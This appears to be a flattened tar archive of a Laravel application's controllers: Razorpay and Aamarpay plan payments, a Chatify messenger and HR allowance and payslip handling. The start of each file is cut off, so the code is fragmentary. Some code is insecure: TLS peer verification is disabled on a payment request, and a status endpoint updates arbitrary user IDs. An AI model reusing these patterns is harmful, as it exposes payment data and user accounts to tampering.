$plan->id, 'price' => $price == null ? 0 : $price, 'price_currency' => !empty($admin_payment_setting['currency']) ? $admin_payment_setting['currency'] : 'USD', 'txn_id' => '', 'payment_type' => 'Razorpay', 'payment_status' => 'succeeded', 'receipt' => null, 'user_id' => $authuser->id, ] ); $res['msg'] = __("Plan successfully upgraded."); $res['flag'] = 2; return $res; } else { return Utility::error_res(__('Plan fail to upgrade.')); } } $res_data['email'] = Auth::user()->email; $res_data['total_price'] = $price; $res_data['currency'] = $admin_payment_setting['currency']; $res_data['flag'] = 1; $res_data['coupon'] = $coupon_id; return $res_data; } else { return Utility::error_res(__('Plan is deleted.')); } } public function getPaymentStatus(Request $request, $pay_id, $plan) { $payment = $this->paymentConfig(); $admin_payment_setting = Utility::getAdminPaymentSetting(); $planID = \Illuminate\Support\Facades\Crypt::decrypt($plan); $plan = Plan::find($planID); $user = Auth::user(); if ($plan) { try { $orderID = time(); $ch = curl_init('https://api.razorpay.com/v1/payments/' . $pay_id . ''); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET'); curl_setopt($ch, CURLOPT_USERPWD, $payment->public_key . ':' . $payment->secret_key); // Input your Razorpay Key Id and Secret Id here curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = json_decode(curl_exec($ch)); // check that payment is authorized by razorpay or not if ($response->status == 'authorized') { if ($request->has('coupon_id') && $request->coupon_id != '') { $coupons = Coupon::find($request->coupon_id); if (!empty($coupons)) { $userCoupon = new UserCoupon(); $userCoupon->user = $user->id; $userCoupon->coupon = $coupons->id; $userCoupon->order = $orderID; $userCoupon->save(); $usedCoupun = $coupons->used_coupon(); if ($coupons->limit <= $usedCoupun) { $coupons->is_active = 0; $coupons->save(); } } } Utility::referralTransaction($plan); $order = new Order(); $order->order_id = $orderID; $order->name = $user->name; $order->card_number = ''; $order->card_exp_month = ''; $order->card_exp_year = ''; $order->plan_name = $plan->name; $order->plan_id = $plan->id; $order->price = isset($response->amount) ? $response->amount / 100 : 0; $order->price_currency = $admin_payment_setting['currency']; $order->txn_id = isset($response->id) ? $response->id : $pay_id; $order->payment_type = __('Razorpay'); $order->payment_status = 'success'; $order->receipt = ''; $order->user_id = $user->id; $order->save(); $assignPlan = $user->assignPlan($plan->id, $request->payment_frequency); if ($assignPlan['is_success']) { return redirect()->route('plans.index')->with('success', __('Plan activated Successfully!')); } else { return redirect()->route('plans.index')->with('error', __($assignPlan['error'])); } } else { return redirect()->route('plans.index')->with('error', __('Transaction has been failed! ')); } } catch (\Exception $e) { return redirect()->route('plans.index')->with('error', __('Plan not found!')); } } } } Http/Controllers/vendor/Chatify/Api/MessagesController.php000064400000031357150364306410017725 0ustar00user(), Auth::user(), $request['channel_name'], $request['socket_id'] ); } /** * Fetch data by id for (user/group) * * @param Request $request * @return \Illuminate\Http\JsonResponse */ public function idFetchData(Request $request) { return auth()->user(); // Favorite $favorite = Chatify::inFavorite($request['id']); // User data if ($request['type'] == 'user') { $fetch = User::where('id', $request['id'])->first(); if($fetch){ $userAvatar = Chatify::getUserWithAvatar($fetch)->avatar; } } // send the response return Response::json([ 'favorite' => $favorite, 'fetch' => $fetch ?? [], 'user_avatar' => $userAvatar ?? null, ]); } /** * This method to make a links for the attachments * to be downloadable. * * @param string $fileName * @return \Illuminate\Http\JsonResponse */ public function download($fileName) { $path = config('chatify.attachments.folder') . '/' . $fileName; if (Chatify::storage()->exists($path)) { return response()->json([ 'file_name' => $fileName, 'download_path' => Chatify::storage()->url($path) ], 200); } else { return response()->json([ 'message'=>"Sorry, File does not exist in our server or may have been deleted!" ], 404); } } /** * Send a message to database * * @param Request $request * @return JSON response */ public function send(Request $request) { // default variables $error = (object)[ 'status' => 0, 'message' => null ]; $attachment = null; $attachment_title = null; // if there is attachment [file] if ($request->hasFile('file')) { // allowed extensions $allowed_images = Chatify::getAllowedImages(); $allowed_files = Chatify::getAllowedFiles(); $allowed = array_merge($allowed_images, $allowed_files); $file = $request->file('file'); // check file size if ($file->getSize() < Chatify::getMaxUploadSize()) { if (in_array(strtolower($file->getClientOriginalExtension()), $allowed)) { // get attachment name $attachment_title = $file->getClientOriginalName(); // upload attachment and store the new name $attachment = Str::uuid() . "." . $file->getClientOriginalExtension(); $file->storeAs(config('chatify.attachments.folder'), $attachment, config('chatify.storage_disk_name')); } else { $error->status = 1; $error->message = "File extension not allowed!"; } } else { $error->status = 1; $error->message = "File size you are trying to upload is too large!"; } } if (!$error->status) { // send to database $messageID = mt_rand(9, 999999999) + time(); Chatify::newMessage([ 'id' => $messageID, 'type' => $request['type'], 'from_id' => Auth::user()->id, 'to_id' => $request['id'], 'body' => htmlentities(trim($request['message']), ENT_QUOTES, 'UTF-8'), 'attachment' => ($attachment) ? json_encode((object)[ 'new_name' => $attachment, 'old_name' => htmlentities(trim($attachment_title), ENT_QUOTES, 'UTF-8'), ]) : null, ]); // fetch message to send it with the response $messageData = Chatify::fetchMessage($messageID); // send to user using pusher Chatify::push("private-chatify.".$request['id'], 'messaging', [ 'from_id' => Auth::user()->id, 'to_id' => $request['id'], 'message' => Chatify::messageCard($messageData, 'default') ]); } // send the response return Response::json([ 'status' => '200', 'error' => $error, 'message' => $messageData ?? [], 'tempID' => $request['temporaryMsgId'], ]); } /** * fetch [user/group] messages from database * * @param Request $request * @return JSON response */ public function fetch(Request $request) { $query = Chatify::fetchMessagesQuery($request['id'])->latest(); $messages = $query->paginate($request->per_page ?? $this->perPage); $totalMessages = $messages->total(); $lastPage = $messages->lastPage(); $response = [ 'total' => $totalMessages, 'last_page' => $lastPage, 'last_message_id' => collect($messages->items())->last()->id ?? null, 'messages' => $messages->items(), ]; return Response::json($response); } /** * Make messages as seen * * @param Request $request * @return void */ public function seen(Request $request) { // make as seen $seen = Chatify::makeSeen($request['id']); // send the response return Response::json([ 'status' => $seen, ], 200); } /** * Get contacts list * * @param Request $request * @return \Illuminate\Http\JsonResponse response */ public function getContacts(Request $request) { // get all users that received/sent message from/to [Auth user] $users = Message::join('users', function ($join) { $join->on('ch_messages.from_id', '=', 'users.id') ->orOn('ch_messages.to_id', '=', 'users.id'); }) ->where(function ($q) { $q->where('ch_messages.from_id', Auth::user()->id) ->orWhere('ch_messages.to_id', Auth::user()->id); }) ->where('users.id','!=',Auth::user()->id) ->select('users.*',DB::raw('MAX(ch_messages.created_at) max_created_at')) ->orderBy('max_created_at', 'desc') ->groupBy('users.id') ->paginate($request->per_page ?? $this->perPage); return response()->json([ 'contacts' => $users->items(), 'total' => $users->total() ?? 0, 'last_page' => $users->lastPage() ?? 1, ], 200); } /** * Put a user in the favorites list * * @param Request $request * @return void */ public function favorite(Request $request) { // check action [star/unstar] if (Chatify::inFavorite($request['user_id'])) { // UnStar Chatify::makeInFavorite($request['user_id'], 0); $status = 0; } else { // Star Chatify::makeInFavorite($request['user_id'], 1); $status = 1; } // send the response return Response::json([ 'status' => @$status, ], 200); } /** * Get favorites list * * @param Request $request * @return void */ public function getFavorites(Request $request) { $favorites = Favorite::where('user_id', Auth::user()->id)->get(); foreach ($favorites as $favorite) { $favorite->user = User::where('id', $favorite->favorite_id)->first(); } return Response::json([ 'total' => count($favorites), 'favorites' => $favorites ?? [], ], 200); } /** * Search in messenger * * @param Request $request * @return \Illuminate\Http\JsonResponse */ public function search(Request $request) { $input = trim(filter_var($request['input'])); $records = User::where('id','!=',Auth::user()->id) ->where('name', 'LIKE', "%{$input}%") ->paginate($request->per_page ?? $this->perPage); foreach ($records->items() as $index => $record) { $records[$index] += Chatify::getUserWithAvatar($record); } return Response::json([ 'records' => $records->items(), 'total' => $records->total(), 'last_page' => $records->lastPage() ], 200); } /** * Get shared photos * * @param Request $request * @return \Illuminate\Http\JsonResponse */ public function sharedPhotos(Request $request) { $images = Chatify::getSharedPhotos($request['user_id']); foreach ($images as $image) { $image = asset(config('chatify.attachments.folder') . $image); } // send the response return Response::json([ 'shared' => $images ?? [], ], 200); } /** * Delete conversation * * @param Request $request * @return void */ public function deleteConversation(Request $request) { // delete $delete = Chatify::deleteConversation($request['id']); // send the response return Response::json([ 'deleted' => $delete ? 1 : 0, ], 200); } public function updateSettings(Request $request) { $msg = null; $error = $success = 0; // dark mode if ($request['dark_mode']) { $request['dark_mode'] == "dark" ? User::where('id', Auth::user()->id)->update(['dark_mode' => 1]) // Make Dark : User::where('id', Auth::user()->id)->update(['dark_mode' => 0]); // Make Light } // If messenger color selected if ($request['messengerColor']) { $messenger_color = trim(filter_var($request['messengerColor'])); User::where('id', Auth::user()->id) ->update(['messenger_color' => $messenger_color]); } // if there is a [file] if ($request->hasFile('avatar')) { // allowed extensions $allowed_images = Chatify::getAllowedImages(); $file = $request->file('avatar'); // check file size if ($file->getSize() < Chatify::getMaxUploadSize()) { if (in_array(strtolower($file->getClientOriginalExtension()), $allowed_images)) { // delete the older one if (Auth::user()->avatar != config('chatify.user_avatar.default')) { $path = Chatify::getUserAvatarUrl(Auth::user()->avatar); if (Chatify::storage()->exists($path)) { Chatify::storage()->delete($path); } } // upload $avatar = Str::uuid() . "." . $file->getClientOriginalExtension(); $update = User::where('id', Auth::user()->id)->update(['avatar' => $avatar]); $file->storeAs(config('chatify.user_avatar.folder'), $avatar, config('chatify.storage_disk_name')); $success = $update ? 1 : 0; } else { $msg = "File extension not allowed!"; $error = 1; } } else { $msg = "File size you are trying to upload is too large!"; $error = 1; } } // send the response return Response::json([ 'status' => $success ? 1 : 0, 'error' => $error ? 1 : 0, 'message' => $error ? $msg : 0, ], 200); } /** * Set user's active status * * @param Request $request * @return void */ public function setActiveStatus(Request $request) { $update = $request['status'] > 0 ? User::where('id', $request['user_id'])->update(['active_status' => 1]) : User::where('id', $request['user_id'])->update(['active_status' => 0]); // send the response return Response::json([ 'status' => $update, ], 200); } } Http/Controllers/vendor/Chatify/MessagesController.php000064400000045424150364306410017214 0ustar00user(), Auth::user(), $request['channel_name'], $request['socket_id'] ); } /** * Returning the view of the app with the required data. * * @param int $id * @return \Illuminate\Contracts\Foundation\Application|\Illuminate\Contracts\View\Factory|\Illuminate\Contracts\View\View */ public function index($id = null) { $routeName = FacadesRequest::route()->getName(); $route = (in_array($routeName, ['user', config('chatify.routes.prefix')])) ? 'user' : $routeName; return view('Chatify::pages.app', [ 'id' => $id ?? 0, 'route' => $route, 'messengerColor' => Auth::user()->messenger_color ?? $this->messengerFallbackColor, 'dark_mode' => Auth::user()->dark_mode < 1 ? 'light' : 'dark', ]); } /** * Fetch data by id for (user/group) * * @param Request $request * @return JsonResponse */ public function idFetchData(Request $request) { // Favorite $favorite = Chatify::inFavorite($request['id']); // User data // if ($request['type'] == 'user') { $fetch = User::where('id', $request['id'])->first(); if ($fetch) { $userAvatar = Chatify::getUserWithAvatar($fetch)->avatar; } // } $profile = \App\Models\Utility::get_file('/' . config('chatify.user_avatar.folder')); // send the response return Response::json([ 'favorite' => $favorite, 'fetch' => $fetch ?? [], 'user_avatar' => $userAvatar ?? $profile . '/avatar.png', ]); } /** * This method to make a links for the attachments * to be downloadable. * * @param string $fileName * @return \Symfony\Component\HttpFoundation\StreamedResponse|void */ public function download($fileName) { if (Chatify::storage()->exists(config('chatify.attachments.folder') . '/' . $fileName)) { return Chatify::storage()->download(config('chatify.attachments.folder') . '/' . $fileName); } else { return abort(404, "Sorry, File does not exist in our server or may have been deleted!"); } } /** * Send a message to database * * @param Request $request * @return JsonResponse */ public function send(Request $request) { // default variables $error = (object)[ 'status' => 0, 'message' => null ]; $attachment = null; $attachment_title = null; // if there is attachment [file] if ($request->hasFile('file')) { // allowed extensions $allowed_images = Chatify::getAllowedImages(); $allowed_files = Chatify::getAllowedFiles(); $allowed = array_merge($allowed_images, $allowed_files); $file = $request->file('file'); // if size less than 150MB if ($file->getSize() < 150000000) { if (in_array($file->getClientOriginalExtension(), $allowed)) { // get attachment name $attachment_title = $file->getClientOriginalName(); // upload attachment and store the new name $dir = '/attachments/'; $attachment = Str::uuid() . "." . $file->getClientOriginalExtension(); $path = Utility::upload_file($request, 'file', $attachment, $dir, []); if ($path['flag'] == 1) { $url = $path['url']; } else { return redirect()->back()->with('error', __($path['msg'])); } } else { $error->status = 1; $error->message = "File extension not allowed!"; } } else { $error->status = 1; $error->message = "File extension not allowed!"; } } if (!$error->status) { // send to database $messageID = mt_rand(9, 999999999) + time(); Chatify::newMessage([ 'id' => $messageID, 'type' => $request['type'], 'from_id' => Auth::user()->id, 'to_id' => $request['id'], 'body' => htmlentities(trim($request['message']), ENT_QUOTES, 'UTF-8'), 'attachment' => ($attachment) ? json_encode((object)[ 'new_name' => $attachment, 'old_name' => htmlentities(trim($attachment_title), ENT_QUOTES, 'UTF-8'), ]) : null, ]); // fetch message to send it with the response $messageData = Chatify::fetchMessage($messageID); // send to user using pusher Chatify::push("private-chatify." . $request['id'], 'messaging', [ 'from_id' => Auth::user()->id, 'to_id' => $request['id'], 'message' => Chatify::messageCard($messageData, 'default') ]); } // send the response return Response::json([ 'status' => '200', 'error' => $error, 'message' => Chatify::messageCard(@$messageData), 'tempID' => $request['temporaryMsgId'], ]); } /** * fetch [user/group] messages from database * * @param Request $request * @return JsonResponse */ public function fetch(Request $request) { $query = Chatify::fetchMessagesQuery($request['id'])->latest(); $messages = $query->paginate($request->per_page ?? $this->perPage); $totalMessages = $messages->total(); $lastPage = $messages->lastPage(); $response = [ 'total' => $totalMessages, 'last_page' => $lastPage, 'last_message_id' => collect($messages->items())->last()->id ?? null, 'messages' => '', ]; // if there is no messages yet. if ($totalMessages < 1) { $response['messages'] = '

Say \'hi\' and start messaging

'; return Response::json($response); } if (count($messages->items()) < 1) { $response['messages'] = ''; return Response::json($response); } $allMessages = null; foreach ($messages->reverse() as $index => $message) { $allMessages .= Chatify::messageCard( Chatify::fetchMessage($message->id, $index) ); } $response['messages'] = $allMessages; return Response::json($response); } /** * Make messages as seen * * @param Request $request * @return JsonResponse|void */ public function seen(Request $request) { // make as seen $seen = Chatify::makeSeen($request['id']); // send the response return Response::json([ 'status' => $seen, ], 200); } /** * Get contacts list * * @param Request $request * @return JsonResponse */ public function getContacts(Request $request) { // get all users that received/sent message from/to [Auth user] $users = Message::join('users', function ($join) { $join->on('ch_messages.from_id', '=', 'users.id') ->orOn('ch_messages.to_id', '=', 'users.id'); }) ->where(function ($q) { $q->where('ch_messages.from_id', Auth::user()->id) ->orWhere('ch_messages.to_id', Auth::user()->id); }) ->where('users.id', '!=', Auth::user()->id) ->select('users.*', DB::raw('MAX(ch_messages.created_at) max_created_at')) ->orderBy('max_created_at', 'desc') ->groupBy('users.id') ->paginate($request->per_page ?? $this->perPage); $usersList = $users->items(); if (count($usersList) > 0) { $contacts = ''; foreach ($usersList as $user) { $contacts_message = Chatify::getContactItem($user); $contacts .= $contacts_message; } } else { $contacts = '

Your contact list is empty

'; } // Get All Memebers $objUser = Auth::user(); if ($objUser->type != 'super admin') { $members = User::where('created_by', '=', $objUser->creatorId())->where('id', '!=', Auth::user()->id)->where('type', '!=', 'super admin')->get(); } $getRecords = null; foreach ($members as $record) { $getRecords .= view( 'vendor.Chatify.layouts.listItem', [ 'get' => 'all_members', 'type' => 'user', 'user' => $record, ] )->render(); } // send the response // return Response::json( // [ // // 'contacts' => $users->count() > 0 ? $contacts : '

' . __('Your user list is empty') . '

', // // 'allUsers' => $members->count() > 0 ? $getRecords : '

' . __('Your member list is empty') . '

', // ], // 200 // ); //message unread data if ($request->type == 'custom') { if (count($usersList) > 0) { $contacts = ''; foreach ($usersList as $user) { $message_count = Chatify::countUnseenMessages($user->id); if (!empty($message_count)) { $contacts_message = Chatify::getContactItem($user); $contacts .= $contacts_message; } } } return Response::json([ 'contacts' => $contacts, ], 200); } return Response::json([ 'contacts' => $contacts, 'total' => $users->total() ?? 0, 'last_page' => $users->lastPage() ?? 1, 'allUsers' => $members->count() > 0 ? $getRecords : '

' . __('Your member list is empty') . '

', ], 200); } /** * Update user's list item data * * @param Request $request * @return JsonResponse */ public function updateContactItem(Request $request) { // Get user data $user = User::where('id', $request['user_id'])->first(); if (!$user) { return Response::json([ 'message' => 'User not found!', ], 401); } $contactItem = Chatify::getContactItem($user); // send the response return Response::json([ 'contactItem' => $contactItem, ], 200); } /** * Put a user in the favorites list * * @param Request $request * @return JsonResponse|void */ public function favorite(Request $request) { // check action [star/unstar] if (Chatify::inFavorite($request['user_id'])) { // UnStar Chatify::makeInFavorite($request['user_id'], 0); $status = 0; } else { // Star Chatify::makeInFavorite($request['user_id'], 1); $status = 1; } // send the response return Response::json([ 'status' => @$status, ], 200); } /** * Get favorites list * * @param Request $request * @return JsonResponse|void */ public function getFavorites(Request $request) { $favoritesList = null; $favorites = Favorite::where('user_id', Auth::user()->id); foreach ($favorites->get() as $favorite) { // get user data $user = User::where('id', $favorite->favorite_id)->first(); $favoritesList .= view('Chatify::layouts.favorite', [ 'user' => $user, ]); } $count = $favorites->count(); // send the response return Response::json([ 'count' => $count, 'favorites' => $count > 0 ? $favoritesList : '

Your favourite list is empty

', ], 200); } /** * Search in messenger * * @param Request $request * @return JsonResponse|void */ public function search(Request $request) { $getRecords = null; $input = trim(filter_var($request['input'])); $records = User::where('id', '!=', Auth::user()->id)->where('name', '!=', 'Super Admin') ->where('created_by', \Auth::user()->creatorId()) ->where('name', 'LIKE', "%{$input}%") ->paginate($request->per_page ?? $this->perPage); foreach ($records->items() as $record) { $getRecords .= view('Chatify::layouts.listItem', [ 'get' => 'search_item', 'type' => 'user', 'user' => Chatify::getUserWithAvatar($record), ])->render(); } if ($records->total() < 1) { $getRecords = '

Nothing to show.

'; } // send the response return Response::json([ 'records' => $getRecords, 'total' => $records->total(), 'last_page' => $records->lastPage() ], 200); } /** * Get shared photos * * @param Request $request * @return JsonResponse|void */ public function sharedPhotos(Request $request) { $shared = Chatify::getSharedPhotos($request['user_id']); $sharedPhotos = null; // shared with its template for ($i = 0; $i < count($shared); $i++) { $sharedPhotos .= view('Chatify::layouts.listItem', [ 'get' => 'sharedPhoto', 'image' => Chatify::getAttachmentUrl($shared[$i]), ])->render(); } // send the response return Response::json([ 'shared' => count($shared) > 0 ? $sharedPhotos : '

Nothing shared yet

', ], 200); } /** * Delete conversation * * @param Request $request * @return JsonResponse */ public function deleteConversation(Request $request) { // delete $delete = Chatify::deleteConversation($request['id']); // send the response return Response::json([ 'deleted' => $delete ? 1 : 0, ], 200); } /** * Delete message * * @param Request $request * @return JsonResponse */ public function deleteMessage(Request $request) { // delete $delete = Chatify::deleteMessage($request['id']); // send the response return Response::json([ 'deleted' => $delete ? 1 : 0, ], 200); } public function updateSettings(Request $request) { $msg = null; $error = $success = 0; // dark mode if ($request['dark_mode']) { $request['dark_mode'] == "dark" ? User::where('id', Auth::user()->id)->update(['dark_mode' => 1]) // Make Dark : User::where('id', Auth::user()->id)->update(['dark_mode' => 0]); // Make Light } // If messenger color selected if ($request['messengerColor']) { $messenger_color = trim(filter_var($request['messengerColor'])); User::where('id', Auth::user()->id) ->update(['messenger_color' => $messenger_color]); } // if there is a [file] if ($request->hasFile('avatar')) { // allowed extensions $allowed_images = Chatify::getAllowedImages(); $file = $request->file('avatar'); // check file size if ($file->getSize() < Chatify::getMaxUploadSize()) { if (in_array(strtolower($file->getClientOriginalExtension()), $allowed_images)) { // delete the older one if (Auth::user()->avatar != config('chatify.user_avatar.default')) { $avatar = Auth::user()->avatar; if (Chatify::storage()->exists($avatar)) { Chatify::storage()->delete($avatar); } } // upload $avatar = Str::uuid() . "." . $file->getClientOriginalExtension(); $update = User::where('id', Auth::user()->id)->update(['avatar' => $avatar]); $file->storeAs(config('chatify.user_avatar.folder'), $avatar, config('chatify.storage_disk_name')); $success = $update ? 1 : 0; } else { $msg = "File extension not allowed!"; $error = 1; } } else { $msg = "File size you are trying to upload is too large!"; $error = 1; } } // send the response return Response::json([ 'status' => $success ? 1 : 0, 'error' => $error ? 1 : 0, 'message' => $error ? $msg : 0, ], 200); } /** * Set user's active status * * @param Request $request * @return JsonResponse */ public function setActiveStatus(Request $request) { $update = $request['status'] > 0 ? User::where('id', $request['user_id'])->update(['active_status' => 1]) : User::where('id', $request['user_id'])->update(['active_status' => 0]); // send the response return Response::json([ 'status' => $update, ], 200); } } Http/Controllers/AllowanceController.php000064400000012673150364306410014466 0ustar00creatorId())->get()->pluck('name', 'id'); $employee = Employee::find($id); $Allowancetypes =Allowance::$Allowancetype; return view('allowance.create', compact('employee', 'allowance_options','Allowancetypes')); } public function store(Request $request) { if(\Auth::user()->can('Create Allowance')) { $validator = \Validator::make( $request->all(), [ 'employee_id' => 'required', 'allowance_option' => 'required', 'title' => 'required', 'amount' => 'required', 'type' => 'required', ] ); if($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $allowance = new Allowance(); $allowance->employee_id = $request->employee_id; $allowance->allowance_option = $request->allowance_option; $allowance->title = $request->title; $allowance->amount = $request->amount; $allowance->type = $request->type; $allowance->created_by = \Auth::user()->creatorId(); $allowance->save(); if( $allowance->type == 'percentage' ) { $employee = Employee::find($allowance->employee_id); $empsal = $allowance->amount * $employee->salary / 100; } return redirect()->back()->with('success', __('Allowance successfully created.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function show(Allowance $allowance) { return redirect()->route('allowance.index'); } public function edit($allowance) { $allowance = Allowance::find($allowance); if(\Auth::user()->can('Edit Allowance')) { if($allowance->created_by == \Auth::user()->creatorId()) { $allowance_options = AllowanceOption::where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $Allowancetypes =Allowance::$Allowancetype; return view('allowance.edit', compact('allowance', 'allowance_options','Allowancetypes')); } else { return response()->json(['error' => __('Permission denied.')], 401); } } else { return response()->json(['error' => __('Permission denied.')], 401); } } public function update(Request $request, Allowance $allowance) { if(\Auth::user()->can('Edit Allowance')) { if($allowance->created_by == \Auth::user()->creatorId()) { $validator = \Validator::make( $request->all(), [ 'allowance_option' => 'required', 'title' => 'required', 'amount' => 'required', ] ); if($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $allowance->allowance_option = $request->allowance_option; $allowance->title = $request->title; $allowance->type = $request->type; $allowance->amount = $request->amount; $allowance->save(); if( $allowance->type == 'percentage' ) { $employee = Employee::find($allowance->employee_id); $empsal = $allowance->amount * $employee->salary / 100; } return redirect()->back()->with('success', __('Allowance successfully updated.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function destroy(Allowance $allowance) { if(\Auth::user()->can('Delete Allowance')) { if($allowance->created_by == \Auth::user()->creatorId()) { $allowance->delete(); return redirect()->back()->with('success', __('Allowance successfully deleted.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } } Http/Controllers/AamarpayController.php000064400000025700150364306410014307 0ustar00plan_id); $authuser = \Auth::user(); $plan = Plan::find($planID); if ($plan) { $get_amount = $plan->price; // if (Auth::user()->phone == null) { // return redirect()->back()->with('failed', __('Please add phone number to your profile.')); // } try { if (!empty($request->coupon)) { $coupons = Coupon::where('code', strtoupper($request->coupon))->where('is_active', '1')->first(); if (!empty($coupons)) { $usedCoupun = $coupons->used_coupon(); $discount_value = ($plan->price / 100) * $coupons->discount; $get_amount = $plan->price - $discount_value; if ($coupons->limit == $usedCoupun) { return redirect()->back()->with('error', __('This coupon code has expired.')); } if ($get_amount <= 0) { $authuser = \Auth::user(); $authuser->plan = $plan->id; $authuser->save(); $assignPlan = $authuser->assignPlan($plan->id); if ($assignPlan['is_success'] == true && !empty($plan)) { if (!empty($authuser->payment_subscription_id) && $authuser->payment_subscription_id != '') { try { $authuser->cancel_subscription($authuser->id); } catch (\Exception $exception) { \Log::debug($exception->getMessage()); } } $orderID = strtoupper(str_replace('.', '', uniqid('', true))); $userCoupon = new UserCoupon(); $userCoupon->user = $authuser->id; $userCoupon->coupon = $coupons->id; $userCoupon->order = $orderID; $userCoupon->save(); Order::create( [ 'order_id' => $orderID, 'name' => null, 'email' => null, 'card_number' => null, 'card_exp_month' => null, 'card_exp_year' => null, 'plan_name' => $plan->name, 'plan_id' => $plan->id, 'price' => $get_amount == null ? 0 : $get_amount, 'price_currency' => !empty($payment_setting['currency']) ? $payment_setting['currency'] : 'USD', 'txn_id' => '', 'payment_type' => 'Aamarpay', 'payment_status' => 'success', 'receipt' => null, 'user_id' => $authuser->id, ] ); $assignPlan = $authuser->assignPlan($plan->id); return redirect()->route('plans.index')->with('success', __('Plan Successfully Activated')); } } } else { return redirect()->back()->with('error', __('This coupon code is invalid or has expired.')); } } $coupon = (empty($request->coupon)) ? "0" : $request->coupon; $orderID = strtoupper(str_replace('.', '', uniqid('', true))); $fields = array( 'store_id' => $aamarpay_store_id, //store id will be aamarpay, contact integration@aamarpay.com for test/live id 'amount' => $get_amount, //transaction amount 'payment_type' => '', //no need to change 'currency' => $currency, //currenct will be USD/BDT 'tran_id' => $orderID, //transaction id must be unique from your end 'cus_name' => $authuser->name, //customer name 'cus_email' => $authuser->email, //customer email address 'cus_add1' => '', //customer address 'cus_add2' => '', //customer address 'cus_city' => '', //customer city 'cus_state' => '', //state 'cus_postcode' => '', //postcode or zipcode 'cus_country' => '', //country 'cus_phone' => '1234567890', //customer phone number 'success_url' => route('pay.aamarpay.success', Crypt::encrypt(['response' => 'success', 'coupon' => $coupon, 'plan_id' => $plan->id, 'price' => $get_amount, 'order_id' => $orderID])), //your success route 'fail_url' => route('pay.aamarpay.success', Crypt::encrypt(['response' => 'failure', 'coupon' => $coupon, 'plan_id' => $plan->id, 'price' => $get_amount, 'order_id' => $orderID])), //your fail route 'cancel_url' => route('pay.aamarpay.success', Crypt::encrypt(['response' => 'cancel'])), //your cancel url 'signature_key' => $aamarpay_signature_key, 'desc' => $aamarpay_description, ); //signature key will provided aamarpay, contact integration@aamarpay.com for test/live signature key $fields_string = http_build_query($fields); $ch = curl_init(); curl_setopt($ch, CURLOPT_VERBOSE, true); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POSTFIELDS, $fields_string); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); $url_forward = str_replace('"', '', stripslashes(curl_exec($ch))); curl_close($ch); $this->redirect_to_merchant($url_forward); } catch (\Exception $e) { return redirect()->back()->with('error', $e); } } else { return redirect()->route('plans.index')->with('error', __('Plan is deleted.')); } } function redirect_to_merchant($url) { $token = csrf_token(); ?>
where('is_active', '1')->first(); $request['coupon_id'] = $coupons->id; } else { $coupons = null; } Utility::referralTransaction($plan); $order = new Order(); $order->order_id = $orderID; $order->name = $user->name; $order->card_number = ''; $order->card_exp_month = ''; $order->card_exp_year = ''; $order->plan_name = $plan->name; $order->plan_id = $plan->id; $order->price = $getAmount; $order->price_currency = !empty($payment_setting['currency']) ? $payment_setting['currency'] : 'USD'; $order->payment_type = __('Aamarpay'); $order->payment_status = 'success'; $order->txn_id = ''; $order->receipt = ''; $order->user_id = $user->id; $order->save(); $assignPlan = $user->assignPlan($plan->id); $coupons = Coupon::find($request->coupon_id); if (!empty($request->coupon_id)) { if (!empty($coupons)) { $userCoupon = new UserCoupon(); $userCoupon->user = $user->id; $userCoupon->coupon = $coupons->id; $userCoupon->order = $orderID; $userCoupon->save(); $usedCoupun = $coupons->used_coupon(); if ($coupons->limit <= $usedCoupun) { $coupons->is_active = 0; $coupons->save(); } } } if ($assignPlan['is_success']) { return redirect()->route('plans.index')->with('success', __('Plan activated Successfully.')); } else { return redirect()->route('plans.index')->with('error', __($assignPlan['error'])); } } elseif ($data['response'] == "cancel") { return redirect()->route('plans.index')->with('error', __('Your payment is cancel')); } else { return redirect()->route('plans.index')->with('error', __('Your Transaction is fail please try again')); } } } Http/Controllers/PayslipTypeController.php000064400000011115150364306410015032 0ustar00can('Manage Payslip Type')) { $paysliptypes = PayslipType::where('created_by', '=', \Auth::user()->creatorId())->get(); return view('paysliptype.index', compact('paysliptypes')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function create() { if(\Auth::user()->can('Create Payslip Type')) { return view('paysliptype.create'); } else { return response()->json(['error' => __('Permission denied.')], 401); } } public function store(Request $request) { if(\Auth::user()->can('Create Payslip Type')) { $validator = \Validator::make( $request->all(), [ 'name' => 'required|max:20', ] ); if($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $paysliptype = new PayslipType(); $paysliptype->name = $request->name; $paysliptype->created_by = \Auth::user()->creatorId(); $paysliptype->save(); return redirect()->route('paysliptype.index')->with('success', __('PayslipType successfully created.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function show(PayslipType $paysliptype) { return redirect()->route('paysliptype.index'); } public function edit(PayslipType $paysliptype) { if(\Auth::user()->can('Edit Payslip Type')) { if($paysliptype->created_by == \Auth::user()->creatorId()) { return view('paysliptype.edit', compact('paysliptype')); } else { return response()->json(['error' => __('Permission denied.')], 401); } } else { return response()->json(['error' => __('Permission denied.')], 401); } } public function update(Request $request, PayslipType $paysliptype) { if(\Auth::user()->can('Edit Payslip Type')) { if($paysliptype->created_by == \Auth::user()->creatorId()) { $validator = \Validator::make( $request->all(), [ 'name' => 'required|max:20', ] ); if($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $paysliptype->name = $request->name; $paysliptype->save(); return redirect()->route('paysliptype.index')->with('success', __('PayslipType successfully updated.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function destroy(PayslipType $paysliptype) { if(\Auth::user()->can('Delete Payslip Type')) { if($paysliptype->created_by == \Auth::user()->creatorId()) { $employee = Employee::where('salary_type',$paysliptype->id)->get(); 